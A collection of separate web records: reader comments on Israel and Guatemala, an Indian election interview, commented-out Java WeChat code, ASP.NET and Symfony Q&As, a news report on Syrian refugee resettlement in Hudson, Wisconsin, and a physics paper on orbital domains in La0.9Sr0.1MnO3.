I think Guatemalans admire Israel and hope for their safety and freedom. We dislike war, for we know it is traumatic to all. We also hope for the safety, freedom and dignity of the Palestinian people. We are grateful to Israel for helping our country remain free and somewhat stable and prosperous. We recognize Israel has a right to exist and has the right to defend itself against terrorism and other enemies. I think most Arabs are peaceful and wish the same for all but a small group of fanatics seems to want to start hostilities against Israel and then complain when they get bombed. I believe in the bible and it says that those who fight against Israel will not prevail. Only at the very end of the world, there will be a possibility for Israel’s enemies to succeed but even then, the God of all armies will himself come down from Heaven to defend his chosen people. Palestinians still deserve to have a place of their own and the middle east is a very big place and not very populated in comparison to other areas such as India, Africa, China, even Guatemala and El Salvador. I don’t understand why they want Jerusalem for themselves, they didn’t want it a long time ago, only after the Muslim faith started. As descendants of Abraham through Ishmael, Palestinians also have a share of the inheritance but why do they want to destroy Israel of take Jerusalem all just for them without respecting Israel eternal claim to Jerusalem as their capital and for their land to be safe and secure from foreign invaders??? I do believe that the countries that help Israel will be blessed, that is the reason the US is blessed even when challenges and problems such as recessions and natural disasters they are still the most free, beautiful, rich in resources and full of opportunity country in the world. Also Guatemala is one of the most beautiful, full of resources, happy, spiritual, countries with great potential and hope for the future among many. I believe this is because of their support for Israel as well as because they are a very Christian, faithful and loving people. In spite of the many natural and man caused challenges.
Thank you Irin for a balanced article on a very sad history. The scale and horror of the devasation in Guatemala is only now beginning to be understood. Rape, torture, killing of infants, a spree of cruelty comparable to the Einsatzkommandos in Easter Europe – see Christopher Browning’s book, ‘Ordinary Men’.
It is very sad that Israel should have supported this through arms and intelligence training. Of course many people, perhaps most, in Israel knew very little about it. But now the facts are known, perhaps Israel too, like the US, should apologize for its role in this. And what a wonderful man Yossi Sarid was. I read about him years ago. I believe he was a Holocaust survivor. Such are the few righteous men on which the world depends.
Please Israel, do not let this happen again.
The article mentions a “British imposed border” as if it is simply a matter of removing that British border and everyone will be happy. That border is there because Belize and Guatemala are two separate and distinct country and people with very different histories and ideas about how to govern. The people of Belize have as much right to their land and their country as does Guatemalans and Israelis, I might add. Israel unexamined support for Guatemala’s claim to Belize could have become, save for the British, another dark aspect of its relationship with Guatemala.
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Your comment may be no longer than 2,000 characters, approximately 400 words. HTML tags are not permitted, nor are more than two URLs per comment. We reserve the right to delete inappropriate comments. | 2023-11-02T01:26:51.906118 | https://example.com/article/4029 |
india
Updated: May 24, 2019 10:13 IST
Haryana was among the states where Bharatiya Janata Party (BJP) swept the Lok Sabha polls and won all 10 seats. The BJP won seven seats in 2014. Haryana chief Manohar Lal Khattar spoke to Rajesh Moudgil about the BJP’s clean sweep. Edited excerpts:
How would you describe the outcome ?
It showed the people have disregarded politics of family, regional discrimination, nepotism and favouritism.
What significance does it have for you and your party?
It is of immense significance for the party in Haryana as our candidates primarily fought in the name of Prime Minister Narendra Modi and his leadership. It [the victory] will be a big morale booster for the party workers and leaders as each one of us played their part.
What are your plans for the upcoming assembly polls?
We have worked hard to bring complete transparency and fairness in the functioning of the state government and we would further improve this in our next term. Though we have no plans for early assembly polls, it is up to the Election Commission to decide the dates as states like Maharashtra and Jharkhand are due for assembly polls around the same time. | 2023-10-04T01:26:51.906118 | https://example.com/article/7908 |
package com.cheng.weixin.web.mobile;
//import com.cheng.weixin.commom.utils.StringUtils;
//import com.cheng.weixin.commom.constant.weixin.WeixinFinalValue;
//import com.cheng.weixin.rpc.wxtools.content.WeixinContent;
//import com.cheng.weixin.rpc.wxtools.service.RpcMessageHandleService;
//import org.apache.commons.codec.digest.DigestUtils;
//import org.slf4j.Logger;
//import org.slf4j.LoggerFactory;
//import org.springframework.stereotype.Controller;
//import org.springframework.web.bind.annotation.RequestMapping;
//import org.springframework.web.bind.annotation.RequestMethod;
//
//import javax.annotation.Resource;
//import javax.servlet.http.HttpServletRequest;
//import javax.servlet.http.HttpServletResponse;
//import java.io.IOException;
//import java.util.Arrays;
//import java.util.Map;
//
//@Controller
public class WeixinController {
// private static final Logger log = LoggerFactory.getLogger(WeixinController.class);
//
// @Resource
// private WeixinFinalValue weixinFinalValue;
// @Resource
// private RpcMessageHandleService messageHandle;
//
// @RequestMapping(value="getWxMsg",method=RequestMethod.GET)
// public void initWx(String signature, String timestamp, String nonce, String echostr, HttpServletResponse response) throws IOException {
// if(StringUtils.isNoneBlank(signature, timestamp, nonce, echostr)) {
// String[] arrs = {weixinFinalValue.WX_TOKEN, timestamp, nonce};
// Arrays.sort(arrs);
// StringBuffer sb = new StringBuffer();
// for(String wx:arrs) {
// sb.append(wx);
// }
// String sha1 = DigestUtils.sha1Hex(sb.toString());
// if(signature.equals(sha1)) {
// response.getWriter().write(echostr);
// }
// }else {
// log.error("参数为空，或缺少参数！");
// }
// }
//
// @RequestMapping(value="getWxMsg",method=RequestMethod.POST)
// public void getWxMsg(HttpServletRequest request, HttpServletResponse response) throws IOException {
// response.setContentType("application/xml;charset=utf-8");
// response.setCharacterEncoding("UTF-8");
//
// Map<String, String> msgMap = messageHandle.reqMsg2Map(request);
// String respMsg = messageHandle.handleResp(msgMap);
//
// log.debug("\n回复的XML为：\n{}", respMsg);
//
// response.getWriter().write(respMsg);
//
//// if(null!=respMsg) {
//// response.getWriter().write(respMsg);
//// }else {
//// response.getWriter().write("success");
//// }
// }
//
// @RequestMapping(value="getat",method=RequestMethod.GET)
// public void getAccessToken(HttpServletResponse response) throws IOException {
// response.getWriter().write(WeixinContent.getInstance().getAccessToken());
// }
//
// @RequestMapping("index")
// public String index() {
// return "index";
// }
}
| 2024-07-10T01:26:51.906118 | https://example.com/article/9465 |
Q:
Radio button selection should not be changed by any one
I have made a radio button list in an aspx page in C#
<asp:RadioButtonList ID="RblMentor_teacher_student" class="case" runat="server"
RepeatDirection="Horizontal" AppendDataBoundItems="False" >
<asp:ListItem Text="Docent" Value="0"></asp:ListItem>
<asp:ListItem Text="Mentor" Value="1"></asp:ListItem>
<asp:ListItem Text="Student" Value="2"></asp:ListItem>
</asp:RadioButtonList>
It works perfectly as I want that it shows the selected person is either teacher or student or mentor.
But I want that no one can change the selection of this.
Can anyone help.
A:
You could put this in your Page_load() and it would disable the whole list.
RblMentor_teacher_student.Enabled = false;
Or you could disable a specific list item
<asp:ListItem Text="Docent" Value="0" Disabled="Disabled"></asp:ListItem>
| 2024-04-20T01:26:51.906118 | https://example.com/article/9840 |
Just across the border in River Falls, Wis., about 200 people packed a golf course clubhouse to hear Ron Branstner talk about refugee resettlement.
Branstner is from Minnesota and one of a group of traveling speakers who warn of the danger they claim refugees and Islam pose to the U.S. He also spoke against cost of refugee resettlement.
"You open up the door and the more you bring in, the more you can bring in," he told the crowd of St. Croix River Valley residents last week. "The door never closes. Just because you bring in 26 people and you wrap your arms around (them) and you put the American flag around them and say 'welcome to America.' You better have a lot more flags."
Branstner had the audience's full attention during his two-hour presentation Dec. 29 in River Falls. "You open up the door and the more you bring in, the more you can bring in," he said. Judy Griesedieck for MPR News
A citizen group called "Wisconsin Constitutional Prayer and Action Group" invited Branstner to speak after hearing that five Syrian families would possibly move to Hudson. St. Patrick Parish, a Catholic church in Hudson, was asked to help the refugees resettle once they come to the United States. But since the priest, the Rev. John Gerritts, spoke about the request in October, the story has taken many twists and turns. It left the church and community divided and the fate of the Syrian refugees unknown to the public.
"They told you no to the Syrian refugees that are coming to Hudson?" Branstner asked the crowd. "Just curious how many of you believe that?"
They answer: "No" and "because they lie."
Audience members pay close attention to Branstner's talk. Judy Griesedieck for MPR News
St. Patrick church weighs whether to resettle refugees
The plan to bring the Syrian families to Hudson began when the United States Conference of Catholic Bishops (USCCB) asked St. Patrick church to help five Syrian families with 15 children and 11 adults resettle. The Syrian families have one relative, an aunt, who already lives in Hudson, which is why the city was picked.
The USCCB is one of nine nonprofits that handle resettlement work nationwide. They, and another organization that's been doing resettlement work for years, Lutheran Immigration and Refugee Service, contract with the federal State Department which vets refugees and decides which agency gets the cases. Those agencies then work with local affiliates.
But because there is no local resettlement agency in Hudson, St. Patrick was asked by the USCCB.
But the church had never taken in refugees and decided to ask parishioners what they thought about the request before making a decision.
During a recent Sunday sermon, Gerritts asked the congregation to pray, fast and educate themselves about Syrian refugees.
"I'm conflicted," he said, sharing a letter he wrote to Pope Francis. "If I do not say yes, that we will do everything possible to bring these refugees to our town, it seems I would not be following Christ's teaching, not following your teaching and not fulfilling my responsibilities as a Catholic and pastor."
The Rev. John Gerritts of St. Patrick Parish. Courtesy of St. Patrick Parish
He went on to say he's scared his decision could break the parish's sense of unity. Hudson has a population of about 13,000 people. It has a picturesque downtown with a small-town feel. Just east of downtown is St. Patrick, where about 1,700 families worship.
"If I lead our parish in bringing refugees from Syria to our town, I know that I will personally be the cause for division in our parish and greater community," Gerritts preached.
Over the fall, church leaders met with civic groups, schools and city officials to see if Hudson had the resources and volunteers to resettle the refugees. They held meetings with PTAs, athletic associations, Rotary and the community foundation.
There was some support, although many members of the church were reluctant to share their opinions. Some members of the church say it's not only the nation's responsibility, but also the Christian thing to do. Others in the community, like Sarah Yacoub agree.
"From a standpoint of a society that isn't always as good about enacting the Christian values that we try to or we profess to believe in, we see some really devastating effects when we ostracize people socially," she said.
Opposition to Syrian refugees spreads beyond Hudson and St. Patrick
Two groups called "Citizens for Saint Croix Valley" have also been rallying against Muslim refugee resettlement. They've met multiple times since Gerritts talked about the prospect of helping the Syrian families. Some of the group's members attended Branstner's talk in River Falls.
Jim Koehler of Hudson said he's sympathetic to their plight but refugees should stay overseas.
"I care about what these poor people are going through," he said. "But what I don't want to do is be so dumb and ignorant and asinine in terms of inviting terrorists into our nation, unvetted people that you do not know what their agenda is."
A State Department spokesperson said refugees undergo the most rigorous level of security checks of any traveler to the U.S. Screening involves multiple agencies, including the Department of State, Homeland Security and Defense, the Federal Bureau of Investigation, the National Counterterrorism Center, the Terrorist Screening Center and the intelligence community.
Critics often reference statements made by FBI Director James Comey who previously said the process has improved, but Syrian refugees are hard to check. Hudson-area residents cited terrorist attacks in Europe as reason for their fears that similar events would take place in their town. Lawmakers weighed in.
Republican Rep. Sean Duffy, who represents Wisconsin's 7th District, sent a letter to President Obama in late December criticizing the refugee vetting process. He asked that vetting information be declassified before any new refugees come to Hudson.
Hudson is a town of 13,000 people on the western edge of Wisconsin in the St. Croix River Valley. Riham Feshir | MPR News
Meanwhile, Gov. Scott Walker has asked President-elect Donald Trump to give his state more authority in determining how many refugees can come from countries with ties to terrorism. Trump has promised to stop accepting Syrian refugees into the U.S.
Back at the church, Gerritts had planned to decide whether to accept Syrian refugees this week after a town hall meeting Tuesday, where he planned to talk more about what he's learned and gather thoughts. He thought he had time because he was told the refugees needed to travel by May or June.
But things have changed.
A change of plan -- and agency -- for the refugees
As the refugee debate unfolded, the federal government decided in mid-December the families won't go to Hudson. Additionally, their travel has been expedited and their status was changed from a "U.S. tie" to a "no U.S. tie," meaning, they don't necessarily have to move where their relative lives.
Lutheran Social Services of Wisconsin and Upper Michigan resettlement program coordinator Mary Flynn said her agency was asked to step in. After she made an assessment of Hudson, she said the opposition had no role in her decision. The refugees have medical needs and they have to be close to the Milwaukee or Madison offices, she said, which are three- or four-hour drives from Hudson.
"I heard a lot of people say a lot of things," she said. "Bottom line, Hudson has the capacity to serve the needs of these cases."
Flynn said the families have been living in a refugee camp in Jordan. They're vetted and approved to come to the U.S. and she said Lutheran Social Services will help them in Wisconsin, but she wouldn't say where they'll end up.
"I don't mean to be evasive," Flynn said. "But I think that considering the conversation that's been had about these cases, I think that they deserve a resting period right now. I don't know how else to put it."
Officials with the State Department also declined to provide specific details on the refugees. But they say while a family or personal connection is often the primary factor in deciding location, there are exceptions. A family whose travel is expedited for medical reasons may need to be rerouted.
Map: Where are Minnesota's and Wisconsin's refugees from?
In 2016, nearly 5,000 refugees resettled in Minnesota and Wisconsin from around the world. | Source: U.S. Department of State
Wisconsin ranks at 27th in the country among states and territories hosting refugees, according to the Department of State's Bureau of Population, Refugees, and Migration. Since 2011, 124 Syrian refugees have settled in Eau Claire, Madison and Milwaukee.
In Minnesota, 35 Syrian refugees settled in Minneapolis, Rochester, Savage and Stewartville. Minnesota ranks 36th in the country.
Map: Where in the U.S. have Syrian refugees resettled since the war began?
Since its civil war began in 2011, more than 18,000 Syrian refugees have settled in all but 13 U.S. states and territories. | Source: U.S. Department of State
California has taken in the most Syrian refugees — 2,030, followed by Michigan and Texas.
Church ponders role in helping victims of war
In Hudson, St. Patrick church leaders are left wondering how they could help displaced people from war-torn countries.
Retired lawyer and church trustee Claire Zajac was among a group helping guide Gerritts by doing logistical research. She's lived in Hudson for 20 years and says it's always been a welcoming place, so she was taken aback by the hate mail the church received as a result of this discussion.
"The world is changing and we can't keep Hudson the way it's always been and the way it was when we moved here," she said.
Zajac would've liked to at least have had the opportunity to make a recommendation to Gerritts. It's unfair that refugees are being treated differently, she said, and points to 145 new housing units that are under construction.
"They will be our neighbors, we don't know what kind of background they have," she said. "Yet we're treating them differently than someone who's coming from a war-torn area, where they're trying to escape violence, they are victims of war, they want a new life, they want to run away from Islamic extremism. Yet, we are putting that kind of person under much more intense scrutiny than other people who just move to Hudson every day."
As for Gerritts, he's kept a top 10 list of things he's learned. Among them: resettlement work is complicated, Hudson has Arabic speakers and that faith communities can pull together on common values.
But he says the world is messy. He's been asked many times if he feels a weight lifted off his shoulders now that the fate of the five Syrian families is no longer in his hands.
"I preached on Christmas the difference between happiness and joy. And in some sense, might this make me a little happier? Perhaps," he said. "But I also know that if we are not willing to face really difficult questions into the messiness of life that we're also are never going to truly experience joy." | 2024-07-04T01:26:51.906118 | https://example.com/article/3273 |
Q:
Add a field to an existing FormType and Entity of a third-party bundle
In my project I have included a third-party bundle via composer containing multiple forms like:
namespace acme\ContactBundle\Form\Type;
class PersonType extends AbstractType {
/**
* @param FormBuilderInterface $builder
* @param array $options
*/
public function buildForm(FormBuilderInterface $builder, array $options) {
$builder
->add('firstname', TextType::class, array(
'label' => 'person.firstname'
))
->add('lastname', TextType::class, array(
'label' => 'person.lastname'
));
}
}
Now I would like to add an additional field before firstname called title.
Is there a way to do this without touching the original code? Probably, I also need to alter the entity to add the additional database field.
Alternatively: Since I have write access to the third-party bundle, maybe there's a way to allow fields to be injected?
A:
You can create a form type extension which will add the field that you want to add like this:
// ...
use Symfony\Component\Form\FormTypeExtensionInterface;
class TitleTypeExtension implements FormTypExtensionInterface
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder->add('title', TextType::class);
}
public function getExtendedType()
{
return PersonType::class;
}
}
Make sure that your extension is registered as a service and tagged with the form.type_extension tag.
However, this will only add the form type after the already existing children. Can you explain why it is important for you to insert it at a particular position?
| 2023-10-28T01:26:51.906118 | https://example.com/article/7156 |
Plasma processes employed in semiconductor fabrication are constantly being improved in order to make smaller device feature sizes in thin film structures on semiconductor wafers. Currently, feature sizes are in the range of tens of nanometers. The ever decreasing feature sizes are difficult to realize without improvements to various plasma processes used for semiconductor wafers, such as plasma enhanced reactive ion etching, plasma enhanced chemical vapor deposition, plasma enhanced physical vapor deposition and the like. | 2023-08-07T01:26:51.906118 | https://example.com/article/1801 |
---
abstract: 'An attempt is made to resolve the controversy related to the low temperature phase (ground state) of the low-doped ferromagnetic (FM)- insulator(I) manganite through bulk magnetic measurements on La${_{0.9}}$Sr$_{0.1}$MnO${_3}$ sample. It is shown that the FM phase, formed out of well defined transition in the low-doped system, becomes inhomogeneous with decrease in temperature. This inhomogeniety is considered to be an outcome of the formation of orbital domain state of e$_g$-electrons having hole rich (metallic) walls separating the hole deficient (insulating) regions. The resulting complexity brings in metastability and glassy behaviour within the FM phase at low temperature, however, with no resemblance to spin glass, cluster glass or reentrant phases. It shows ageing effect without memory but magnetic relaxation shows signatures of inter-cluster interaction. The energy landscape picture of this glassy phase is described in terms of hierarchical model. Further, it is shown that this inhomogeneity disappear in La${_{0.9}}$Sr$_{0.1}$MnO$_{3.08}$ where, the orbital domain state is destroyed by self doping resulting in reduction of Mn$^{3+}$ and hence e$_g$-electrons. The ferromagnetic phase of the non-stoichiometric sample, does not show glassy behaviour. It neither follows ’hierarchical model’ nor ’droplet model’ generally used to explain glassy or inhomogeneous systems. Its magnetic response can be explained simply from the domain wall dynamics of otherwise homogeneous ferromagnet.'
author:
- 'K. Mukherjee and A. Banerjee'
title: 'Changeover from Glassy ferromagnetism of the orbital domain state to long range ferromagnetic ordering in La${_{0.9}}$Sr$_{0.1}$MnO${_3}$'
---
Introduction
============
The physics controlling the properties of low-doped manganites is a subject of intense research currently, due to the fact that magnetic ground state of these compounds continues to be a subject of controversy[@kaw; @yam; @nij; @end; @joy; @alg; @pap; @kaj; @gec; @choi]. The physical properties exhibited by these compounds are likely to be proximate to those of other low doped transition metal oxides, like cuprates and nickelates. Lightly doped manganites show ferromagnetic insulating behaviour inspite of finite amount of hole doping indicating that these transition metal oxides (TMO) belong to a class of strongly correlated electron system and the effect of correlation among the electrons prevents the ground state from being metallic. Introduction of holes in these systems results in inhomogeneity, which divides the system into different regions having varying hole densities. Generally in these systems the kinetic and potential energies are of the same energy scale and incorporation of coulomb interaction in these regimes leads to various self organised structures, with clusters of one phase embedded in the other, a phenomenon referred as electronic phase separation (EPS).[@mor] Recent theoritical studies also highlight the role of coulomb interaction in studying the electronic inhomogeneity in manganites.[@vij] EPS either results in formation of regions having competing magnetic interactions or in self-generated clusters, interaction among which results in blocking[@suni] or freezing mechanism (observed generally in TMO) at certain temperatures. Studies on cuprates[@zan; @cho] and nickelates[@tra] have revealed a microscopic segregation of doped holes in antiferromagnetic phase into walls leading to an ordering consisting of charged domain walls that forms antiphase boundaries between antiferromagnetic domains. Studies by Tranquada et.al on La${_{1.48}}$Nd${_{0.4}}$Sr$_{0.4}$CuO${_4}$ [@tran] and La${_{1.69}}$Sr${_{0.31}}$NiO${_4}$[@tranq] have revealed stripe phase order of hole and spins. La${_{0.9}}$Sr$_{0.1}$MnO${_3}$ with x = 0.1 to 0.17 belong to the class of compound known as ferromagnetic insulator (FI). The self-organised regime observed in nickelates and cuprates is also expected in FI phase of manganite. Recent theories[@miz] and experiments[@choi] have provided evidences that orbital ordering (OO) plays an important role along with spin and charge in the insulating state of low doped manganites by controlling the e$_g$ electron mobility. Experimental results on La${_{0.88}}$Sr$_{0.12}$MnO${_3}$[@end] indicates the transition between two ferromagnetic phases, one metallic another insulating driven by orbital ordering. It has been proposed that the OO phase might contain ferromagnetic insulating domains separated by ferromagnetic metallic walls[@pap], which raises question of stripes formation in the ferromagnetic insulating phase[@hot]
Temperature dependence of ac susceptibility and low field magnetisation of low doped LaMnO${_3}$ shows interesting magnetic behaviour. Urushibara et al.[@uru] showed that La${_{0.9}}$Sr$_{0.1}$MnO${_3}$ is orthorhombic and undergoes a paramagnetic to ferromagnetic transition followed by a transition at low temperature accompanied with insulating behaviour. Susceptibility of ferromagnets generally varies as the inverse of demagnetisation factor and is expected to be constant at low temperature in absence of any further magnetic transition. Studies of the critical regimes in La${_{0.875}}$Sr$_{0.125}$MnO${_3}$ revealed that the paramagnetic to ferromagnetic phase transition is accompanied by consistent critical exponents belonging to 3D Heisenberg universility class.[@sunil] However, the low temperature transition which received considerable attention in the last decade remains undetermined. The nature of this low temperature phase previously has been interpreted in terms of canted antiferromagnetic phase[@kaw]. Successive structural phase transition from a high temperature pseudocubic phase to intermediate Jahn-Teller distorted orthorhombic phase and to low temperature pseudocubic phase reported in this low doped regime[@ark; @kawa] might be a cause of the observed behaviour. The nature of low temperature state is also reported in terms of charge localization, which is accompanied by ordering of polarons[@yam]. A field induced phase transition from a ferromagnetic metallic phase to a ferromagnetic insulating phase as reported in La${_{0.875}}$Sr$_{0.125}$MnO${_3}$[@nij] might be responsible for the observed low temperature phenomenom. The low temperature fall in magnetisation in La${_{0.9}}$Ca$_{0.1}$MnO${_3}$ is intrepreted in terms of domain wall pinning effect by Joy et al.[@joy]. The two successive transitions with the lowering of temperature can be due to re-entrant spin glass transition.[@sat] Recent studies from neutron diffraction, small angle neutron scattering and nuclear magnetic resonance shows that the ground state of La${_{0.9}}$Ca$_{0.1}$MnO${_3}$ consists of disordered double exchange metallic clusters that co-exists with long range superexchange based ferromagnetic insulating regions.[@alg] Hence the above reports show a wide variety of possibilities of the low temperature phase and ground state of such low doped FI manganites.
In manganites the ratio of Mn$^{3+}$/Mn$^{4+}$ and their distribution in the lattice plays an important role in tuning the physical properties of these systems. Generally, the amount of Mn$^{4+}$ is tuned by divalent cation doping on A-site of perovskite structure but its amount can also be increased by oxidation of the stoichiometric sample resulting in a change of physical properties of the compound arising out of non-stoichiometry. The excess oxygen is accounted by an equal number of vacancies at A and B sites of ABO$_3$ perovskites while the oxygen network in believed to be undefected.[@roo] As said earlier, investigations of low-doped manganites have revealed the formation of orbital domain state in the ferromagnetic insulating regimes.[@choi; @pap] Increasing non stoichiometry, increases the Mn$^{4+}$ content resulting in suppression of the OO phase with the clusters becoming more populous eventually coalescing leading to the establishment of homogeneous ferromagnetic order. Hence the metamagnetic behaviour of the OO phase is expected to decrease with the increasing nonstoichiometry. Such stoichiometry dependent behaviour is also observed in other transition metal oxides like cuprates[@cho] and cobaltates[@sen] and more recently in bilayered manganite.[@qin]
In this paper, through bulk magnetization we investigate the magnetic ground state of stoichiometric La${_{0.9}}$Sr$_{0.1}$MnO${_3}$, as its true nature is in the centre of debate. A detailed investigation of the effect of both AC and DC magnetic field on the physical properties of this compound indicates that the observed low temperature behaviour is not because of magnetic transition but due to development of an inhomogeneous phase with the reduction in temperature. The resulting self-organized regimes are of the form of orbital domains, dictated by OO, which plays an important role in defining the ground states of the compound. Increase of disorder (in form of self doping) suppresses the orbital domain state and a homogeneous ferromagnetic ordering is observed. The magnetic behaviour of the resulting non stoichiometric compound is ascribed to domain wall dynamics in a ferromagnetic matrix whereas, the orbital domains of the stoichiometric sample show glassy ferromagnetic behaviour with the glassiness arising solely due to intercluster interaction. The results are also compared with the hierarchical model.
Sample preparation and characterization
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Two polycrystalline sample La${_{0.9}}$Sr$_{0.1}$MnO${_3}$ (S1) and La${_{0.9}}$Sr$_{0.1}$MnO$_{3.08}$ (S2) has been prepared by standard solid-state ceramic route with starting materials having purity ($>99.9\%$). Stoichiometric proportions of the starting materials La${_2}$O${_3}$, Sr${_2}$CO${_3}$ and MnO${_3}$ were mixed and heated in air at 950$^0$C for 24hrs twice. After grinding, the powder, pellets were made and given a heat treatment of 1250$^0$C. For sample S1 the final sintering temperature is given at 1400$^0$C. Then it is annealed under nitrogen atmosphere for 36 hours. The sample S2 is annealed under oxygen atmosphere for 24 hours after the final sintering temperature of 1250$^0$C. X-Ray diffraction (XRD) was carried out using Rigaku Rotaflex RTC 300 RC diffractometer with CuKa radiation. The collected XRD pattern is analysed by the Rietveld profile refinement, using the profile refinement program by Young et al.[@you]. Estimation of Mn$^{3+}$/Mn$^{4+}$ is done by iodometric redox titration using sodium thiosulphate and potassium iodide. AC susceptibility and dc magnetisation is done using a homemade ac susceptometer[@ash] and a vibrating sample magnetometer (VSM)[@krs].
The samples S1 and S2 crystallize in orthorhombic (Pbnm) and rhombohedral structure(R$\overline{3}$c) respectively. The samples are seen to be single phase with the goodness of fit around 1.2 for both cases. For S1 the percentage of Mn$^{3+}$ and Mn$^{4+}$ is respectively about 89% and 11% while that for S2 is 74% and 26% respectively.
Results and discussions
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Realization of orbital domain state in stoichiometric (S1) sample
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Fig.1 shows the frequency dependence of real part ($\chi$$^R$) of ac susceptibility. The fall in susceptibility at lower temperature is also observed when measurement are done on a single crystals of La${_{0.9}}$Sr$_{0.1}$MnO${_3}$ and La${_{0.875}}$Sr$_{0.125}$MnO${_3}$[@sunil]. The temperature variation of $\chi$$^R$ shows paramagnetic to ferromagnetic transition around 175K followed by a hump and the imaginary part ($\chi$$^I$) also shows a peak and a fall at lower temperature. AC-$\chi$ is seen to be frequency dependent below T$_c$ with $\chi$$^R$ decreasing as frequency is increased, normally observed in metastable system like spin glasses, cluster glasses, superparamagnets, re-entrant systems etc. However, there is no shift in temperatures of the peaks with frequency for $\chi$$^R$ and $\chi$$^I$. A frequency dependent peak, which shifts toward higher temperatures with increasing frequency is a characteristic features of the dynamics of spin glass system and is also observed in other manganite samples which shows cluster glass like behaviour[@fre]. This observation rules out any spin glass like dynamics, superparamagnetic or cluster glass type behaviour in the low temperature region.
Reports in literature[@ark] shows the presence of a low temperature structural transition in this compound. This results in changed occupancy of orbitals by e$_g$ electron due to change of lattice constant leading to reformation of domains with larger number of domain walls. Sr$^{2+}$ substitution results in inhomogeneous distribution of Mn$^{3+}$ and Mn$^{4+}$ with Mn$^{4+}$ concentration around the divalent ion[@shi], resulting in formation of clusters. These clusters break into smaller pieces due to low temperature structural transition leading to segregation of charge, making the low temperature phase inhomogeneous. The reformation of domains taking place leads to enhance wall number, which are pinned to the new structure. Hence the dynamic response of the spin decreases with decreasing temperature, as the low field is not sufficient to activate the pinned walls resulting in the observed fall in susceptibility. Hence, the resulting self-organized regimes in the form of clusters of various sizes makes the low temperature region of the sample metastable.
To further emphasize the fact that magnetic transition is absent in the low temperature region thermal cycling in both ac and dc magnetisation is done. The presence of thermal hysteresis is a general phenomenon associated with first order phase transition (FOPT). The susceptibility curve both ($\chi$$^R$ and $\chi$$^I$) doesn’t show thermal hysteresis around the region where the fall in observed(Fig 2a and its inset). Fig 2b show Field Cooled Cooling (FCC) and Field Cooled Warming (FCW) cycles of DC Magnetisation (DCM). Unlike the Zero Field Cooled Magnetisation (ZFCM) case, the field cooled magnetisation rises continuously with decreasing temperature. The graph also shows absence of thermal hysteresis throughout the temperature range between FCC and FCW. These observations rule out any ferromagnetic to antiferromagnetic FOPT in the low temperature region of the compound. To substantiate the above fact Magneto-Caloric Effect (MCE) measurement is done on the sample (shown in inset of Fig 2b). The entropy change, calculated from MH isotherm at different temperature shows a peak around T$_c$ with absence of any significant peak a lower temperature region. This also indicates absense of FM-AFM transition at lower temperature as a peak in MCE is expected around the transition. Hence the low temperature phase, as seen from thermal hysteresis in magnetisation and MCE measurement is different from the metastable state arising from standard first order transition between competing ferromagnetic and antiferromagnetic phases where near the transition a short-range correlation of one of the two phases start building up at the cost of other.
Hence the above measurements indicate absence of antiferromagnetic transition, spin glass dynamics or cluster glass like behaviour in the low temperature region, and brings out the novel role of orbitals for explaining the observed features of the sample. The presence of low temperature structural transition in this compound leads to orbital rearrangement, resulting in orbital degree of freedom of e$_g$ playing the central role in defining the ground state properties. So, absence of antiferromagnetic state along with insulating behaviour of the transport which shows a slope change around T$_c$[@uru] (due to decrease in the value of resistivity), indicates the coexistence of ferromagnetic metallic and ferromagnetic insulating phase at low temperatures. The insulating behaviour of the ferromagnetic phase is explained in terms of antiferro (AF)-type orbital ordering, which leads to elongation and compression of the neighboring MnO$_6$ octahedrons resulting in unequal Mn-O bond distances. According to Goodenough’s theory of semicovalence[@goo] the magnetic coupling will be ferromagnetic when the Mn-O bonds are semi covalent leading to ferromagnetic super exchange interaction. Such type of magnetic coupling in similar compounds is also reported in literature [@nij; @end; @kris]. Hence the low temperature phase is an electronically and hence magnetically inhomogeneous state consisting of hole poor and hole rich regions. So, an orbital domain state with ferromagnetic insulating domain separated by ferromagnetic metallic wall as observed from NMR measurements in La${_{0.8}}$Ca$_{0.2}$MnO${_3}$ [@pap] is also realised in our case.
Orbital domains realized in the sample make the low temperature region metastable resulting in a non-equilibrium state where reformation of domains takes place. To probe the energy landscape in this regions degaussing (DG) experiment[@joy] is done at different DC fields. Such demagnetisation based studies is considered to give a systematically better approximation of the ground state of disordered systems as reported in Ref[@zar]. In DG measurements, after ZFC to 85K, 1000Oe field is applied and then it is reduced to zero. Application of the field disturbs the ground state spin arrangement and results in some remanent magnetization. The remanent magnetization is reduced to zero by repeated field cycling with reducing amplitude (degaussing). Then the measuring field is applied at 85K and temperature response of magnetization is noted while warming. Fig. 3 shows the M-T curves in different measuring fields for degaussed, as well as the corresponding ZFC states. At 9Oe the degaussed curve obtained below the normal ZFC curve while for 30Oe the bifurcation between the curves reduces. At 41Oe the DG curve is above the normal ZFC curve. Again, the seperation between the curves decreases at 55Oe and there is a crossover at 65Oe.At 82Oe the degaussed curve is well below normal ZFC curve. The observed behaviour arise due to the fact that the normal ZFC and degaussed state are different in terms arrangement and size of domains even though the net dipole moment is zero in zero field (before the measuring field is applied). At 85K when a high field is applied it results in formation of large domains, which are broken into smaller pieces by external perturbation (degaussing). Hence the resultant domain size and arrangement are different from that obtained for normal ZFC at 85K. So when measuring field is applied after ZFC and DG, it lead to different domain size for each case resulting in the observed difference in temperature response of magnetization between them. This behaviour vividly demonstrate inhomogeneous nature of magnetic state, which is not in equilibrium due to reformation of domains. Many metastable configurations are present within which the wall can make thermally activated hops. When the sample is degaussed after a high field was applied, it results in formation of the subvalleys with the moments being locked in certain regions and directions. So measurement at different DC field after degaussing shows different behaviour for each field when compared with normal ZFC measurements indicating a hierarchical organization of energy landscape[@lef] which is discussed in details later.
Suppression of orbital domains and establishment of ferromagnetic long-range order by non stoichiometry in S2 sample
